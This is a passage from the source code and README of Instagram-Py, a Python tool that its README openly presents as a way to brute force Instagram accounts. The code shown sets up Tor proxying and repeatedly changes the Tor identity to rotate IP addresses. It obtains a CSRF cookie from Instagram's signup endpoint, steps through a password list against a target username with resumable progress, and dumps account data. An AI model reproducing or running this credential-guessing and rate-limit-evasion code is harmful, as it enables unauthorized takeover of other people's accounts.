configuration['api-url'] 89 | self.user_agent = configuration['user-agent'] 90 | self.ig_sig_key = configuration['ig-sig-key'] 91 | self.ig_sig_version = configuration['ig-sig-version'] 92 | self.tor_proxy = "{}://{}:{}".format( 93 | configuration['tor']['protocol'], configuration['tor']['server'], configuration['tor']['port']) 94 | if not configuration['tor']['control']['password'] == "": 95 | self.OpenTorController( 96 | configuration['tor']['control']['port'], configuration['tor']['control']['password']) 97 | else: 98 | self.OpenTorController( 99 | configuration['tor']['control']['port'], None) 100 | 101 | self.bot.proxies = { 102 | # tor socks proxy! 103 | "https": self.tor_proxy, 104 | "http": self.tor_proxy 105 | } 106 | 107 | # build headers 108 | 109 | self.bot.headers.update( 110 | { 111 | 'Connection': 'close', # make sure requests closes the sockets instead of keep-alive! 112 | 'Accept': '*/*', 113 | 'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 114 | 'Cookie2': '$Version=1', 115 | 'Accept-Language': 'en-US', 116 | 'User-Agent': self.user_agent 117 | } 118 | ) 119 | 120 | ''' 121 | Note: https://icanhazip.com is a free domain to get your current tor ip 122 | this is not a dangerous website for sure , thank you @majorhayden 123 | ''' 124 | try: 125 | self.ip = self.bot.get( 126 | 'https://icanhazip.com').content.rstrip().decode() 127 | except KeyboardInterrupt: 128 | self.cli.ReportError("process aborted by the user") 129 | except (BaseException, Exception) as err: 130 | self.cli.ReportError( 131 | "Connection to host failed , check your connection and tor configuration.") 132 | 133 | if not os.path.exists(save_location): 134 | try: 135 | os.mkdir(save_location) 136 | except (BaseException, Exception) as err: 137 | self.cli.ReportError(err) 138 | 139 | self.save_data = save_location 140 | else: 141 | self.save_data = save_location 142 | 143 | self.dump_data = dump_location 144 | 145 | try: 146 | self.bot.get( 147 | "{}si/fetch_headers/?challenge_type=signup&guid={}".format( 148 | self.api_url, str(uuid.uuid4()).replace('-', '')) 149 | ) 150 | self.magic_cookie = self.bot.cookies['csrftoken'] 151 | except KeyboardInterrupt: 152 | self.cli.ReportError( 153 | "cannot get the magic cookie , aborted by the user") 154 | except (BaseException, Exception) as err: 155 | self.cli.ReportError(err) 156 | 157 | ''' 158 | ReadSaveFile() 159 | - Checks if we have located the save file 160 | - if not creates one 161 | - opens the save file and load it as json data 162 | - check if the user uses the same password list file for the same user 163 | - set the current password pointer to the given data 164 | ''' 165 | 166 | def ReadSaveFile(self, isResume): 167 | if self.current_save == None: 168 | self.CreateSaveFile(isResume) 169 | SaveFile = json.load(open(self.current_save, 'r')) 170 | self.current_line = SaveFile['line-count'] 171 | if self.password_list_md5_sum == SaveFile['password-file-md5'] and self.username == SaveFile['username']: 172 | c_line = 1 173 | for line in self.password_list_buffer: 174 | self.password = str(line).rstrip() 175 | if c_line == self.current_line: 176 | break 177 | c_line += 1 178 | return True 179 | 180 | ''' 181 | UpdateSaveFile() 182 | - check if we have created a save file 183 | - if yes , rewrite the the save file with the current session! 184 | ''' 185 | 186 | def UpdateSaveFile(self): 187 | if not self.current_save == None: 188 | updatefile = open(self.current_save, 'w') 189 | json.dump( 190 | { 191 | "username": str(self.username), 192 | "password-file-md5": str(self.password_list_md5_sum), 193 | "line-count": self.current_line 194 | }, updatefile) 195 | updatefile.close() 196 | 197 | ''' 198 | CreateSaveFile() 199 | - checks if we have not openned any save file but know the save location. 200 | - if yes , creates with default settings to the location. 201 | ''' 202 | 203 | def CreateSaveFile(self, isResume): 204 | if self.current_save == None and not self.save_data == None: 205 | save = '{}{}.dat'.format(self.save_data, hashlib.sha224( 206 | self.username.encode('utf-8')).hexdigest()) 207 | self.current_save = save 208 | if not os.path.isfile(save): 209 | self.UpdateSaveFile() 210 | else: 211 | if not isResume: 212 | self.UpdateSaveFile() 213 | 214 | def ReadDumpFile(self, username): 215 | if not self.dump_data == None: 216 | if not os.path.isfile(self.dump_data): 217 | return None 218 | json_dump = json.load(open(self.dump_data, 'r')) 219 | required_info = None 220 | 221 | try: 222 | required_info = json_dump[username] 223 | except KeyError: 224 | pass 225 | 226 | return required_info 227 | 228 | def WriteDumpFile(self, info): 229 | if not self.dump_data == None: 230 | json_dump = {} 231 | if os.path.isfile(self.dump_data): 232 | json_dump = json.load(open(self.dump_data, 'r')) 233 | json_dump[info['id']] = info 234 | json.dump(json_dump, open(self.dump_data, 'w')) 235 | return True 236 | 237 | ''' 238 | CurrentPassword() 239 | - returns the current password pointed to the password list 240 | ''' 241 | 242 | def CurrentPassword(self): 243 | return self.password 244 | 245 | ''' 246 | NextPassword() 247 | - increaments and sets the next password as our current password 248 | ''' 249 | 250 | def NextPassword(self): 251 | if not self.current_line > self.password_list_length: 252 | for line in self.password_list_buffer: 253 | self.password = str(line.rstrip()) 254 | break 255 | self.current_line += 1 256 | else: 257 | self.eopl = True 258 | 259 | ''' 260 | GetUsername() 261 | - returns current session username 262 | ''' 263 | 264 | def GetUsername(self): 265 | return self.username 266 | 267 | ''' 268 | md5sum( FILE POINTER , BLOCK SIZE) 269 | - opens large files from FILE POINTER 270 | - calculates md5 with BLOCK SIZE with respect to FILE POINTER 271 | - finalizes and returns a hashlib object! 272 | ''' 273 | 274 | def md5sum(self, fp, block_size=2**20): 275 | md5 = hashlib.md5() 276 | while True: 277 | data = fp.read(block_size) 278 | if not data: 279 | break 280 | md5.update(data) 281 | return md5 282 | 283 | ''' 284 | ChangeIPAddress() 285 | - stem <-> Signal 286 | - Changes Tor Identity with the controller! 287 | ''' 288 | 289 | def ChangeIPAddress(self): 290 | if not self.tor_controller == None: 291 | # signal tor to change ip 292 | self.tor_controller.signal(Signal.NEWNYM) 293 | self.ip = self.bot.get( 294 | 'https://icanhazip.com').content.rstrip().decode() 295 | return True 296 | return False 297 | 298 | ''' 299 | OpenTorController(PORT , PASSWORD) 300 | - Creates a fresh tor controller instance to the session 301 | ''' 302 | 303 | def OpenTorController(self, port, password): 304 | try: 305 | self.tor_controller = Controller.from_port(port=int(port)) 306 | if password == None: 307 | self.tor_controller.authenticate() 308 | else: 309 | self.tor_controller.authenticate(password=password) 310 | except Exception as err: 311 | self.cli.ReportError( 312 | "Tor configuration invalid or server down :: {}".format(err)) 313 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | .. image:: .img/poster.png 2 | 3 | 4 | 5 | .. raw:: html 6 | 7 |
:briefcase: The Official Instagram-Py repo. A professional tool to :8ball: brute force instagram :camera_flash: accounts with less resource :gift: as possible , Written in Python :snake: and made with :heart: -- Antony Jr.8 | 9 | 10 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
351 |
352 |
353 |
354 |